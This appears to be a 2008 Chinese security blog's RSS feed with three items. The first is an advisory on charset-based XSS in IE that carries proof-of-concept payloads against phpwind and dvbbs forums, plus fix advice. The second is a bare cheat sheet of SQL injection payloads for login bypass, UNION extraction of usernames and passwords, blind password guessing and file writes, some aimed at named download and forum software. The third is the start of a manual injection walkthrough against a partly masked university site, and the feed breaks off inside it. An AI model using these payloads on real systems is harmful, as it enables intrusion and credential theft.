<?xml version="1.0" encoding="utf-8"?><?xml-stylesheet href='http://feed.feedsky.com/styles/temp01.xsl' type='text/xsl' ?><!--这是一个由Feedsy提供技术支持的Feed，为了提高读者阅读的体验，以及满足用户美化自己Feed的需要，我们设计了多种精美的Feed模板，提供给大家选择，所有最终呈现出来的样式，皆由用户自愿选择使用，未经许可，任何团体和个人，请不要擅自修改样式或者盗用，这是对于用户选择权的尊重。--><rss xmlns:atom="http://www.w3.org/2005/Atom" xmlns:fs="http://www.feedsky.com/namespace/feed" xmlns:dc="http://purl.org/dc/elements/1.1/" version="2.0"><channel><atom:link href="http://feed.feedsky.com/wwwer" type="application/rss+xml" ref="self"></atom:link><fs:self_link href="http://feed.feedsky.com/wwwer" type="application/rss+xml"></fs:self_link><lastBuildDate>Mon, 16 Jun 2008 16:47:51 GMT</lastBuildDate><title>べヘ两个人的战役べヘ</title><description>█████宁*可*统*治*地*狱*不*在*天*堂*服*役█████</description><link>http://www.wwwer.net/cn/</link><language>zh-cn</language><copyright>Copyright 2005 PBlog2 v2.4</copyright><dc:language>zh-cn</dc:language><dc:rights>Copyright 2005 PBlog2 v2.4</dc:rights><image><title>清雅风萍's Blog</title><url>http://www.wwwer.net/cn/images/logos.gif</url><link>http://www.wwwer.net/cn/</link><description>清雅风萍's Blog</description></image><item><title>字符集导致的浏览器跨站脚本攻击</title><link>http://item.feedsky.com/~feedsky/wwwer/~6942786/84627161/5050703/1/item.html</link><description>前言：这种利用类型的攻击早在06年就被安全研究人员指出，不过一直没有在国内重视。而由于我们国内大部分站点正是这种有漏洞的字符集，所以影响还是比较大，希望各大站快速修复。可以看看&lt;a href=&quot;http://applesoup.googlepages.com/&quot; target=&quot;_blank&quot;&gt;http://applesoup.googlepages.com/&lt;/a&gt;。&lt;br/&gt;&lt;br/&gt;文中&amp;lt;已经被替换为〈,如果需要文档,请访问&lt;a href=&quot;http://www.80sec.com/release/charset-xss.txt&quot; target=&quot;_blank&quot;&gt;http://www.80sec.com/release/charset-xss.txt&lt;/a&gt;&lt;br/&gt;&lt;br/&gt;在一般的web程序里，显示数据给浏览器的时候都会指定一个字符集，在国内平时我们用到的字符集有utf-8，GBK，gb2312等等，字符集指示了浏览器该如何对待返回的数据。其中gb2312和GBK字符集使用得非常广泛，但是经证明，IE在处理这些宽字符集的时候存在问题，导致可能程序的一些安全规则被Bypass掉，引发严重的跨站脚本安全漏洞。在IE里，如果它遇到一个字符，它是指定字符集里的第一位的时候，就会认为其后续字符和当前字符构成一个合法的字符，这样它在解析包括html标签，处理javascript，Css时都会做如此考虑，测试版本为ie6和ie7。&lt;br/&gt;&lt;br/&gt;1 Bypass某些js的检查规则&lt;br/&gt;&lt;br/&gt;&lt;br/&gt;〈HTML&amp;gt;&lt;br/&gt;〈HEAD&amp;gt;&lt;br/&gt;〈TITLE&amp;gt;80sec test〈/TITLE&amp;gt;&lt;br/&gt;〈meta http-equiv=&amp;#34;Content-Type&amp;#34; content=&amp;#34;text/html; charset=gb2312&amp;#34; /&amp;gt;&lt;br/&gt;〈/HEAD&amp;gt;&lt;br/&gt;〈BODY&amp;gt;&lt;br/&gt;〈script&amp;gt;&lt;br/&gt;window.onerror=function(){&lt;br/&gt;alert(&amp;#39;Vul&amp;#39;);&lt;br/&gt;return true;&lt;br/&gt;}&lt;br/&gt;〈/script&amp;gt;&lt;br/&gt;〈script&amp;gt;x=&amp;#39;〈?php echo chr(0xC1);?&amp;gt;&amp;#39;;y=&amp;#39;[User_IN_PUT]‘;〈/script&amp;gt;&lt;br/&gt;〈/BODY&amp;gt;&lt;br/&gt;〈/HTML&amp;gt;&lt;br/&gt;&lt;br/&gt;&lt;br/&gt;这里即使是过滤了〈&amp;gt;’\等字符一样可以利用非法字符集序列来实现\的作用，因为它会把原来存在的’给结合掉，然后前面的’找不到闭合，后面[User_IN_PUT]就可以用来执行js代码了。&lt;br/&gt;&lt;br/&gt;2 Bypass某些属性的检查规则&lt;br/&gt;&lt;br/&gt;为了避免直接使用html导致出现漏洞，一些论坛和程序使用了UBB标签，但是在gbk等多字节编码下，一样容易出现问题，以最容易出现问题的一个UBB标签为例子：&lt;br/&gt;&lt;br/&gt;[color=xyz〈?php echo chr(0xC1);?&amp;gt;][/color]exploited&lt;br/&gt;&lt;br/&gt;0xC1是一个gb2312的第一个字节，上面结果将会转化为：&lt;br/&gt;&lt;br/&gt;〈font color=&amp;#34;xyz?&amp;gt;〈/font&amp;gt;〈font color=&amp;#34;abc onmouseover=alert(/xss/) s=?&amp;gt;exploited〈/font&amp;gt;&lt;br/&gt;&lt;br/&gt;其中的&lt;br/&gt;&lt;br/&gt;alert(/xss/)&lt;br/&gt;将会做一个事件执行，所以即使UBB标签也变得不安全，能饶过”的保护。许多论坛都没有注意这点，phpwind，动网等论坛就容易受到这种攻击。而Discuz通过在转换结果之后附加一个空格，修补了这一安全问题。这里使用到ubb标签其实有一个很有意思的tips在里面，因为有的数据库会抛弃与指定字符集不匹配的字符，所以必须借助后面的]等字符来形成一个有效的汉字才能存储到数据库里，当然像ACCESS这种就不会有问题了，另外一些语言在处理字符串的时候会强制字符串的字符集类型，不合法的字符会导致转码的失败或者遭到抛弃，所以也不能利用这种类型的攻击。&lt;br/&gt;&lt;br/&gt;3 几个小例子&lt;br/&gt;&lt;br/&gt;Phpwind论坛charset跨站脚本漏洞&lt;br/&gt;&lt;br/&gt;&lt;a href=&quot;http://www.wwwer.net/cn/mailto:xxxx羃[/email&quot;&gt;[email=xxxx onmouseover=alert() s=羃]Fuck Me&lt;/a&gt;&lt;br/&gt;&lt;span style=&quot;font-family:宋体;0xc1&quot;&gt;xxx&lt;/span&gt;xx&lt;br/&gt;&lt;br/&gt;羃是一个特殊的十六进制编码和后面的]结合出来的字符，第一个种方法可以直接复制的：）&lt;br/&gt;0xc1表示一个十六进制的字符编码&lt;br/&gt;&lt;br/&gt;同样在dvbbs论坛也很容易产生一个xss代码如下&lt;br/&gt;&lt;br/&gt;&amp;lt;font face=&amp;#34;微软雅羃&amp;gt;xxxxxxxxxxx〈/font&amp;gt;〈font face=&amp;#34; onmouseover=alert() x=羃&amp;gt;xxxxxxxxxxx〈/font&amp;gt;&lt;br/&gt;&lt;br/&gt;均在新版和老版测试通过。&lt;br/&gt;&lt;br/&gt;4 关于修复&lt;br/&gt;&lt;br/&gt;对于程序设计者，由于UTF-8字符集的可靠性，不存在这个安全漏洞，所以大家在设计站点的时候可以考虑使用UTF-8字符集。&lt;br/&gt;对于广大开发者，可以牢记最小输入等于最大安全的原则，在匹配正则的时候限制输入的字符的范围，尽量匹配ascii字符，如果必须使用中文，可以考虑类似于discuz的在中文后面添加空格修复该问题。&lt;br/&gt;对于广大用户，这个漏洞由于浏览器处理页面字符的不同，可以考虑使用如Firefox浏览器，可以避免一部分这样的问题。&lt;br/&gt;本站内容均为原创，转载请务必保留署名与链接！&lt;br/&gt;字符集导致的浏览器跨站脚本攻击:&lt;a href=&quot;http://www.80sec.com/charset-xss.html&quot; target=&quot;_blank&quot;&gt;http://www.80sec.com/charset-xss.html&lt;/a&gt;</description><category>[漏洞]√网络安全</category><pubDate>Tue, 17 Jun 2008 00:47:51 +0800</pubDate><author>mhnf@163.com(网络人生)</author><guid isPermaLink="false">http://www.wwwer.net/cn/default.asp?id=991</guid><dc:creator>mhnf@163.com(网络人生)</dc:creator><fs:srclink>http://www.wwwer.net/cn/default.asp?id=991</fs:srclink><fs:srcfeed>http://www.wwwer.net/cn/feed.asp</fs:srcfeed><fs:itemid>feedsky/wwwer/~6942786/84627161/5050703</fs:itemid></item><item><title>PHP注入技术语句</title><link>http://item.feedsky.com/~feedsky/wwwer/~6942786/83670255/5050703/1/item.html</link><description>&amp;#39; o&amp;#114; &amp;#39;1=1 &lt;br/&gt;&lt;br/&gt;&amp;#39;/* &lt;br/&gt;&lt;br/&gt;&amp;#39;%23 &lt;br/&gt;&lt;br/&gt;&amp;#39; and password=&amp;#39;mypass &lt;br/&gt;&lt;br/&gt;id=-1 union sel&amp;#101;ct 1,1,1 &lt;br/&gt;&lt;br/&gt;id=-1 union sel&amp;#101;ct char(97),char(97),char(97) &lt;br/&gt;&lt;br/&gt;id=1 union sel&amp;#101;ct 1,1,1 from members &lt;br/&gt;&lt;br/&gt;id=1 union sel&amp;#101;ct 1,1,1 from admin &lt;br/&gt;&lt;br/&gt;id=1 union sel&amp;#101;ct 1,1,1 from user &lt;br/&gt;&lt;br/&gt;userid=1 and password=mypass &lt;br/&gt;&lt;br/&gt;userid=1 and mid(password,3,1)=char(112) &lt;br/&gt;&lt;br/&gt;userid=1 and mid(password,4,1)=char(97) &lt;br/&gt;&lt;br/&gt;and o&amp;#114;d(mid(password,3,1))&amp;gt;111 （ord函数很好用，可以返回整形的） &lt;br/&gt;&lt;br/&gt;&amp;#39; and LENGTH(password)=&amp;#39;6（探测密码长度） &lt;br/&gt;&lt;br/&gt;&amp;#39; and LEFT(password,1)=&amp;#39;m &lt;br/&gt;&lt;br/&gt;&amp;#39; and LEFT(password,2)=&amp;#39;my &lt;br/&gt;&lt;br/&gt;…………………………依次类推 &lt;br/&gt;&lt;br/&gt;&amp;#39; union sel&amp;#101;ct 1,username,password from user/* &lt;br/&gt;&lt;br/&gt;&amp;#39; union sel&amp;#101;ct 1,username,password from user/* &lt;br/&gt;&lt;br/&gt;=&amp;#39; union sel&amp;#101;ct 1,username,password from user/* （可以是1或者=后直接跟） &lt;br/&gt;&lt;br/&gt;99999&amp;#39; union sel&amp;#101;ct 1,username,password from user/* &lt;br/&gt;&lt;br/&gt;&amp;#39; into outfile &amp;#39;c:/file.txt （导出文件） &lt;br/&gt;&lt;br/&gt;=&amp;#39; o&amp;#114; 1=1 into outfile &amp;#39;c:/file.txt &lt;br/&gt;&lt;br/&gt;1&amp;#39; union sel&amp;#101;ct 1,username,password from user into outfile &amp;#39;c:/user.txt &lt;br/&gt;&lt;br/&gt;sel&amp;#101;ct password FROM admins wh&amp;#101;re login=&amp;#39;John&amp;#39; INTO DUMPFILE &amp;#39;/path/to/site/file.txt&amp;#39; &lt;br/&gt;&lt;br/&gt;id=&amp;#39; union sel&amp;#101;ct 1,username,password from user into outfile &lt;br/&gt;&lt;br/&gt;id=-1 union sel&amp;#101;ct 1,database(),version() （灵活应用查询） &lt;br/&gt;&lt;br/&gt;常用查询测试语句， &lt;br/&gt;&lt;br/&gt;sel&amp;#101;ct * FROM table wh&amp;#101;re 1=1 &lt;br/&gt;&lt;br/&gt;sel&amp;#101;ct * FROM table wh&amp;#101;re &amp;#39;uuu&amp;#39;=&amp;#39;uuu&amp;#39; &lt;br/&gt;&lt;br/&gt;sel&amp;#101;ct * FROM table wh&amp;#101;re 1&amp;lt;&amp;gt;2 &lt;br/&gt;&lt;br/&gt;sel&amp;#101;ct * FROM table wh&amp;#101;re 3&amp;gt;2 &lt;br/&gt;&lt;br/&gt;sel&amp;#101;ct * FROM table wh&amp;#101;re 2&amp;lt;3 &lt;br/&gt;&lt;br/&gt;sel&amp;#101;ct * FROM table wh&amp;#101;re 1 &lt;br/&gt;&lt;br/&gt;sel&amp;#101;ct * FROM table wh&amp;#101;re 1+1 &lt;br/&gt;&lt;br/&gt;sel&amp;#101;ct * FROM table wh&amp;#101;re 1--1 &lt;br/&gt;&lt;br/&gt;sel&amp;#101;ct * FROM table wh&amp;#101;re ISNULL(NULL) &lt;br/&gt;&lt;br/&gt;sel&amp;#101;ct * FROM table wh&amp;#101;re ISNULL(COT(0)) &lt;br/&gt;&lt;br/&gt;sel&amp;#101;ct * FROM table wh&amp;#101;re 1 IS NOT NULL &lt;br/&gt;&lt;br/&gt;sel&amp;#101;ct * FROM table wh&amp;#101;re NULL IS NULL &lt;br/&gt;&lt;br/&gt;sel&amp;#101;ct * FROM table wh&amp;#101;re 2 BETWEEN 1 AND 3 &lt;br/&gt;&lt;br/&gt;sel&amp;#101;ct * FROM table wh&amp;#101;re &amp;#39;b&amp;#39; BETWEEN &amp;#39;a&amp;#39; AND &amp;#39;c&amp;#39; &lt;br/&gt;&lt;br/&gt;sel&amp;#101;ct * FROM table wh&amp;#101;re 2 IN (0,1,2) &lt;br/&gt;&lt;br/&gt;sel&amp;#101;ct * FROM table wh&amp;#101;re CASE WHEN 1&amp;gt;0 THEN 1 END &lt;br/&gt;&lt;br/&gt;例如：夜猫下载系统1.0版本 &lt;br/&gt;&lt;br/&gt;id=1 union sel&amp;#101;ct 1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 &lt;br/&gt;&lt;br/&gt;union sel&amp;#101;ct 1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 from ymdown_user &lt;br/&gt;&lt;br/&gt;union sel&amp;#101;ct 1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 from ymdown_user wh&amp;#101;re id=1 &lt;br/&gt;&lt;br/&gt;id=10000 union sel&amp;#101;ct 1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 from ymdown_user wh&amp;#101;re id=1 and groupid=1 &lt;br/&gt;&lt;br/&gt;union sel&amp;#101;ct 1,username,1,password,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 from ymdown_user wh&amp;#101;re id=1 （替换，寻找密码） &lt;br/&gt;&lt;br/&gt;union sel&amp;#101;ct 1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 from ymdown_user wh&amp;#101;re id=1 and o&amp;#114;d(mid(password,1,1))=49 （验证第一位密码） &lt;br/&gt;&lt;br/&gt;union sel&amp;#101;ct 1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 from ymdown_user wh&amp;#101;re id=1 and o&amp;#114;d(mid(password,2,1))=50 （第二位） &lt;br/&gt;&lt;br/&gt;union sel&amp;#101;ct 1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 from ymdown_user wh&amp;#101;re id=1 and o&amp;#114;d(mid(password,3,1))=51 &lt;br/&gt;&lt;br/&gt;………………………………………………………… &lt;br/&gt;&lt;br/&gt;例如2：灰色轨迹 变换id进行测试（meteor） &lt;br/&gt;&lt;br/&gt;union%20(sel&amp;#101;ct%20allowsmilies,public,userid,&amp;#39;0000-0-0&amp;#39;,user(),version()%20FROM%20calendar_events%20wh&amp;#101;re%20eventid%20=%2013)%20order%20by%20eventdate &lt;br/&gt;&lt;br/&gt;union%20(sel&amp;#101;ct%20allowsmilies,public,userid,&amp;#39;0000-0-0&amp;#39;,pass(),version()%20FROM%20calendar_events%20wh&amp;#101;re%20eventid%20=%2010)%20order%20by%20eventdate &lt;br/&gt;&lt;br/&gt;构造语句： &lt;br/&gt;&lt;br/&gt;sel&amp;#101;ct allowsmilies,public,userid,eventdate,event,subject FROM calendar_events wh&amp;#101;re eventid = 1 union (sel&amp;#101;ct 1,1,1,1,1,1,1 from user wh&amp;#101;re userid=1) &lt;br/&gt;&lt;br/&gt;sel&amp;#101;ct allowsmilies,public,userid,eventdate,event,subject FROM calendar_events wh&amp;#101;re eventid = 1 union (sel&amp;#101;ct 1,1,1,1,username,password from user wh&amp;#101;re userid=1) &lt;br/&gt;&lt;br/&gt;union%20(sel&amp;#101;ct%201,0,2,&amp;#39;1999-01-01&amp;#39;,&amp;#39;a&amp;#39;,password%20FROM%20user%20wh&amp;#101;re%20userid%20=%205)%20order%20by%20eventdate &lt;br/&gt;&lt;br/&gt;union%20(sel&amp;#101;ct%201,0,12695,&amp;#39;1999-01-01&amp;#39;,&amp;#39;a&amp;#39;,password%20FROM%20user%20wh&amp;#101;re%20userid=13465)%20order%20by%20eventdate &lt;br/&gt;&lt;br/&gt;union%20(sel&amp;#101;ct%201,0,12695,&amp;#39;1999-01-01&amp;#39;,&amp;#39;a&amp;#39;,userid%20FROM%20user%20wh&amp;#101;re%20username=&amp;#39;sandflee&amp;#39;)%20order%20by%20eventdate （查沙子的id） &lt;br/&gt;&lt;br/&gt;（sel&amp;#101;ct a FROM table_name wh&amp;#101;re a=10 AND B=1 o&amp;#114;DER BY a LIMIT 10) &lt;br/&gt;&lt;br/&gt;sel&amp;#101;ct * FROM article wh&amp;#101;re articleid=&amp;#39;$id&amp;#39; union sel&amp;#101;ct * FROM……（字段和数据库相同情况下，可直接提交） &lt;br/&gt;&lt;br/&gt;sel&amp;#101;ct * FROM article wh&amp;#101;re articleid=&amp;#39;$id&amp;#39; union sel&amp;#101;ct 1,1,1,1,1,1,1 FROM……（不同的情况下） &lt;br/&gt;&lt;br/&gt;特殊技巧：在表单，搜索引擎等地方写： &lt;br/&gt;&lt;br/&gt;&amp;#34;___&amp;#34; &lt;br/&gt;&lt;br/&gt;&amp;#34;.__ &amp;#34; &lt;br/&gt;&lt;br/&gt;&amp;#34;% &lt;br/&gt;&lt;br/&gt;%&amp;#39; o&amp;#114;DER BY articleid/* &lt;br/&gt;&lt;br/&gt;%&amp;#39; o&amp;#114;DER BY articleid# &lt;br/&gt;&lt;br/&gt;__&amp;#39; o&amp;#114;DER BY articleid/* &lt;br/&gt;&lt;br/&gt;__&amp;#39; o&amp;#114;DER BY articleid# &lt;br/&gt;&lt;br/&gt;$command = &amp;#34;dir c:\&amp;#34;;system($command); &lt;br/&gt;&lt;br/&gt;sel&amp;#101;ct * FROM article wh&amp;#101;re articleid=&amp;#39;$id&amp;#39; &lt;br/&gt;&lt;br/&gt;sel&amp;#101;ct * FROM article wh&amp;#101;re articleid=$id &lt;br/&gt;&lt;br/&gt;1&amp;#39; and 1=2 union sel&amp;#101;ct * from user wh&amp;#101;re userid=1/* 句中变为 &lt;br/&gt;&lt;br/&gt;(sel&amp;#101;ct * FROM article wh&amp;#101;re articleid=&amp;#39;1&amp;#39; and 1=2 union sel&amp;#101;ct * from user wh&amp;#101;re userid=1/*&amp;#39;) &lt;br/&gt;&lt;br/&gt;1 and 1=2 union sel&amp;#101;ct * from user wh&amp;#101;re userid=1 &lt;br/&gt;&lt;br/&gt;语句形式：建立一个库，插入： &lt;br/&gt;&lt;br/&gt;cr&amp;#101;ate DATABASE `injection` &lt;br/&gt;&lt;br/&gt;cr&amp;#101;ate TABLE `user` ( &lt;br/&gt;&lt;br/&gt;`userid` int(11) NOT NULL auto_increment, &lt;br/&gt;&lt;br/&gt;`username` varchar(20) NOT NULL default &amp;#39;&amp;#39;, &lt;br/&gt;&lt;br/&gt;`password` varchar(20) NOT NULL default &amp;#39;&amp;#39;, &lt;br/&gt;&lt;br/&gt;PRIMARY KEY (`userid`) &lt;br/&gt;&lt;br/&gt;) ; &lt;br/&gt;&lt;br/&gt;ins&amp;#101;rt INTO `user` VALUES (1, &amp;#39;swap&amp;#39;, &amp;#39;mypass&amp;#39;); &lt;br/&gt;&lt;br/&gt;插如一个注册用户： &lt;br/&gt;&lt;br/&gt;ins&amp;#101;rt INTO `user` (userid, username, password, homepage, userlevel) VALUES (&amp;#39;&amp;#39;, &amp;#39;$username&amp;#39;, &amp;#39;$password&amp;#39;, &amp;#39;$homepage&amp;#39;, &amp;#39;1&amp;#39;); &lt;br/&gt;&lt;br/&gt;&amp;#34;ins&amp;#101;rt INTO membres (login,password,nom,email,userlevel) VALUES (&amp;#39;$login&amp;#39;,&amp;#39;$pass&amp;#39;,&amp;#39;$nom&amp;#39;,&amp;#39;$email&amp;#39;,&amp;#39;1&amp;#39;)&amp;#34;; &lt;br/&gt;&lt;br/&gt;ins&amp;#101;rt INTO membres (login,password,nom,email,userlevel) VALUES (&amp;#39;&amp;#39;,&amp;#39;&amp;#39;,&amp;#39;&amp;#39;,&amp;#39;&amp;#39;,&amp;#39;3&amp;#39;)#&amp;#39;,&amp;#39;1&amp;#39;) &lt;br/&gt;&lt;br/&gt;&amp;#34;ins&amp;#101;rt INTO membres SET login=&amp;#39;$login&amp;#39;,password=&amp;#39;$pass&amp;#39;,nom=&amp;#39;$nom&amp;#39;,email=&amp;#39;$email&amp;#39;&amp;#34;; &lt;br/&gt;&lt;br/&gt;ins&amp;#101;rt INTO membres SET login=&amp;#39;&amp;#39;,password=&amp;#39;&amp;#39;,nom=&amp;#39;&amp;#39;,userlevel=&amp;#39;3&amp;#39;,email=&amp;#39;&amp;#39; &lt;br/&gt;&lt;br/&gt;&amp;#34;ins&amp;#101;rt INTO membres VALUES (&amp;#39;$id&amp;#39;,&amp;#39;$login&amp;#39;,&amp;#39;$pass&amp;#39;,&amp;#39;$nom&amp;#39;,&amp;#39;$email&amp;#39;,&amp;#39;1&amp;#39;)&amp;#34;; &lt;br/&gt;&lt;br/&gt;up&amp;#100;ate user SET password=&amp;#39;$password&amp;#39;, homepage=&amp;#39;$homepage&amp;#39; wh&amp;#101;re id=&amp;#39;$id&amp;#39; &lt;br/&gt;&lt;br/&gt;up&amp;#100;ate user SET password=&amp;#39;MD5(mypass)&amp;#39; wh&amp;#101;re username=&amp;#39;admin&amp;#39;#)&amp;#39;, homepage=&amp;#39;$homepage&amp;#39; wh&amp;#101;re id=&amp;#39;$id&amp;#39; &lt;br/&gt;&lt;br/&gt;&amp;#34;up&amp;#100;ate membres SET password=&amp;#39;$pass&amp;#39;,nom=&amp;#39;$nom&amp;#39;,email=&amp;#39;$email&amp;#39; wh&amp;#101;re id=&amp;#39;$id&amp;#39;&amp;#34;; &lt;br/&gt;&lt;br/&gt;up&amp;#100;ate membres SET password=&amp;#39;[PASS]&amp;#39;,nom=&amp;#39;&amp;#39;,userlevel=&amp;#39;3&amp;#39;,email=&amp;#39; &amp;#39; wh&amp;#101;re id=&amp;#39;[ID]&amp;#39; &lt;br/&gt;&lt;br/&gt;&amp;#34;up&amp;#100;ate news SET Votes=Votes+1, score=score+$note wh&amp;#101;re idnews=&amp;#39;$id&amp;#39;&amp;#34;; &lt;br/&gt;&lt;br/&gt;长用函数： &lt;br/&gt;&lt;br/&gt;DATABASE() &lt;br/&gt;&lt;br/&gt;USER() &lt;br/&gt;&lt;br/&gt;SYSTEM_USER() &lt;br/&gt;&lt;br/&gt;SESSION_USER() &lt;br/&gt;&lt;br/&gt;CURRENT_USER() &lt;br/&gt;&lt;br/&gt;比如： &lt;br/&gt;&lt;br/&gt;up&amp;#100;ate article SET title=$title wh&amp;#101;re articleid=1 对应函数 &lt;br/&gt;&lt;br/&gt;up&amp;#100;ate article SET title=DATABASE() wh&amp;#101;re id=1 &lt;br/&gt;&lt;br/&gt;#把当前数据库名更新到title字段 &lt;br/&gt;&lt;br/&gt;up&amp;#100;ate article SET title=USER() wh&amp;#101;re id=1 &lt;br/&gt;&lt;br/&gt;#把当前 MySQL 用户名更新到title字段 &lt;br/&gt;&lt;br/&gt;up&amp;#100;ate article SET title=SYSTEM_USER() wh&amp;#101;re id=1 &lt;br/&gt;&lt;br/&gt;#把当前 MySQL 用户名更新到title字段 &lt;br/&gt;&lt;br/&gt;up&amp;#100;ate article SET title=SESSION_USER() wh&amp;#101;re id=1 &lt;br/&gt;&lt;br/&gt;#把当前 MySQL 用户名更新到title字段 &lt;br/&gt;&lt;br/&gt;up&amp;#100;ate article SET title=CURRENT_USER() wh&amp;#101;re id=1 &lt;br/&gt;&lt;br/&gt;#把当前会话被验证匹配的用户名更新到title字段 &lt;br/&gt;&lt;br/&gt;：：：：：：：：：：：：：：：：：：：：：：：：：：：：：：：：：：：：：：：：：：：：：：：：：&lt;br/&gt;$req = &amp;#34;sel&amp;#101;ct * FROM membres wh&amp;#101;re name like &amp;#39;%$search%&amp;#39; o&amp;#114;DER BY name&amp;#34;; &lt;br/&gt;&lt;br/&gt;sel&amp;#101;ct * FROM membres wh&amp;#101;re name like &amp;#39;%%&amp;#39; o&amp;#114;DER BY uid#%&amp;#39; o&amp;#114;DER BY name &lt;br/&gt;&lt;br/&gt;sel&amp;#101;ct * FROM membres wh&amp;#101;re name like &amp;#39;%%&amp;#39; o&amp;#114;DER BY uid#%&amp;#39; o&amp;#114;DER BY name &lt;br/&gt;&lt;br/&gt;sel&amp;#101;ct uid FROM admins wh&amp;#101;re login=&amp;#39;&amp;#39; o&amp;#114; &amp;#39;a&amp;#39;=&amp;#39;a&amp;#39; AND password=&amp;#39;&amp;#39; o&amp;#114; &amp;#39;a&amp;#39;=&amp;#39;a&amp;#39; （经典） &lt;br/&gt;&lt;br/&gt;sel&amp;#101;ct uid FROM admins wh&amp;#101;re login=&amp;#39;&amp;#39; o&amp;#114; admin_level=1#&amp;#39; AND password=&amp;#39;&amp;#39; &lt;br/&gt;&lt;br/&gt;sel&amp;#101;ct * FROM table wh&amp;#101;re msg like &amp;#39;%hop&amp;#39; &lt;br/&gt;&lt;br/&gt;sel&amp;#101;ct uid FROM membres wh&amp;#101;re login=&amp;#39;Bob&amp;#39; AND password like &amp;#39;a%&amp;#39;#&amp;#39; AND password=&amp;#39;&amp;#39; &lt;br/&gt;&lt;br/&gt;sel&amp;#101;ct * FROM membres wh&amp;#101;re name like &amp;#39;%%&amp;#39; o&amp;#114;DER BY uid#%&amp;#39; o&amp;#114;DER BY name&lt;br/&gt;</description><category>[传教]√经验之谈</category><pubDate>Sun, 15 Jun 2008 04:09:06 +0800</pubDate><author>mhnf@163.com(网络人生)</author><guid isPermaLink="false">http://www.wwwer.net/cn/default.asp?id=987</guid><dc:creator>mhnf@163.com(网络人生)</dc:creator><fs:srclink>http://www.wwwer.net/cn/default.asp?id=987</fs:srclink><fs:srcfeed>http://www.wwwer.net/cn/feed.asp</fs:srcfeed><fs:itemid>feedsky/wwwer/~6942786/83670255/5050703</fs:itemid></item><item><title>ASP+acc手工注入折叠展开</title><link>http://item.feedsky.com/~feedsky/wwwer/~6942786/83670256/5050703/1/item.html</link><description>SQL注入这么长时间，看见有的朋友还是不会手工注入，那么我来演示一下。高手略过。&lt;br/&gt;我们大家知道，一般注入产生在没经过虑的变量上，像ID?=XX这样的。&lt;br/&gt;下面以这个网址为例：&lt;br/&gt;&lt;br/&gt;&lt;a href=&quot;http://zsb.xxx.edu.cn/2j.asp?id=24&quot; target=&quot;_blank&quot;&gt;&lt;a href=&quot;http://zsb.xxx.edu.cn/2j.asp?id=24&quot; target=&quot;_blank&quot;&gt;&lt;a href=&quot;http://zsb.xxx.edu.cn/2j.asp?id=24&quot; target=&quot;_blank&quot;&gt;&lt;a href=&quot;http://zsb.xxx.edu.cn/2j.asp?id=24&quot; target=&quot;_blank&quot;&gt;&lt;a href=&quot;http://zsb.xxx.edu.cn/2j.asp?id=24&quot; target=&quot;_blank&quot;&gt;&lt;a href=&quot;http://zsb.xxx.edu.cn/2j.asp?id=24&quot; target=&quot;_blank&quot;&gt;&lt;a href=&quot;http://zsb.xxx.edu.cn/2j.asp?id=24&quot; target=&quot;_blank&quot;&gt;&lt;a href=&quot;http://zsb.xxx.edu.cn/2j.asp?id=24&quot; target=&quot;_blank&quot;&gt;&lt;a href=&quot;http://zsb.xxx.edu.cn/2j.asp?id=24&quot; target=&quot;_blank&quot;&gt;&lt;a href=&quot;http://zsb.xxx.edu.cn/2j.asp?id=24&quot; target=&quot;_blank&quot;&gt;&lt;a href=&quot;http://zsb.xxx.edu.cn/2j.asp?id=24&quot; target=&quot;_blank&quot;&gt;&lt;a href=&quot;http://zsb.xxx.edu.cn/2j.asp?id=24&quot; target=&quot;_blank&quot;&gt;&lt;a href=&quot;http://zsb.xxx.edu.cn/2j.asp?id=24&quot; target=&quot;_blank&quot;&gt;&lt;a href=&quot;http://zsb.xxx.edu.cn/2j.asp?id=24&quot; target=&quot;_blank&quot;&gt;http://zsb.xxx.edu.cn/2j.asp?id=24&lt;/a&gt;&lt;/a&gt;&lt;/a&gt;&lt;/a&gt;&lt;/a&gt;&lt;/a&gt;&lt;/a&gt;&lt;/a&gt;&lt;/a&gt;&lt;/a&gt;&lt;/a&gt;&lt;/a&gt;&lt;/a&gt;&lt;/a&gt; and 1=1 返回了正常&lt;br/&gt;&lt;a href=&quot;http://zsb.xxx.edu.cn/2j.asp?id=24&quot; target=&quot;_blank&quot;&gt;&lt;a href=&quot;http://zsb.xxx.edu.cn/2j.asp?id=24&quot; target=&quot;_blank&quot;&gt;&lt;a href=&quot;http://zsb.xxx.edu.cn/2j.asp?id=24&quot; target=&quot;_blank&quot;&gt;&lt;a href=&quot;http://zsb.xxx.edu.cn/2j.asp?id=24&quot; target=&quot;_blank&quot;&gt;&lt;a href=&quot;http://zsb.xxx.edu.cn/2j.asp?id=24&quot; target=&quot;_blank&quot;&gt;&lt;a href=&quot;http://zsb.xxx.edu.cn/2j.asp?id=24&quot; target=&quot;_blank&quot;&gt;&lt;a href=&quot;http://zsb.xxx.edu.cn/2j.asp?id=24&quot; target=&quot;_blank&quot;&gt;&lt;a href=&quot;http://zsb.xxx.edu.cn/2j.asp?id=24&quot; target=&quot;_blank&quot;&gt;&lt;a href=&quot;http://zsb.xxx.edu.cn/2j.asp?id=24&quot; target=&quot;_blank&quot;&gt;&lt;a href=&quot;http://zsb.xxx.edu.cn/2j.asp?id=24&quot; target=&quot;_blank&quot;&gt;&lt;a href=&quot;http://zsb.xxx.edu.cn/2j.asp?id=24&quot; target=&quot;_blank&quot;&gt;&lt;a href=&quot;http://zsb.xxx.edu.cn/2j.asp?id=24&quot; target=&quot;_blank&quot;&gt;&lt;a href=&quot;http://zsb.xxx.edu.cn/2j.asp?id=24&quot; target=&quot;_blank&quot;&gt;&lt;a href=&quot;http://zsb.xxx.edu.cn/2j.asp?id=24&quot; target=&quot;_blank&quot;&gt;http://zsb.xxx.edu.cn/2j.asp?id=24&lt;/a&gt;&lt;/a&gt;&lt;/a&gt;&lt;/a&gt;&lt;/a&gt;&lt;/a&gt;&lt;/a&gt;&lt;/a&gt;&lt;/a&gt;&lt;/a&gt;&lt;/a&gt;&lt;/a&gt;&lt;/a&gt;&lt;/a&gt; and 1=2 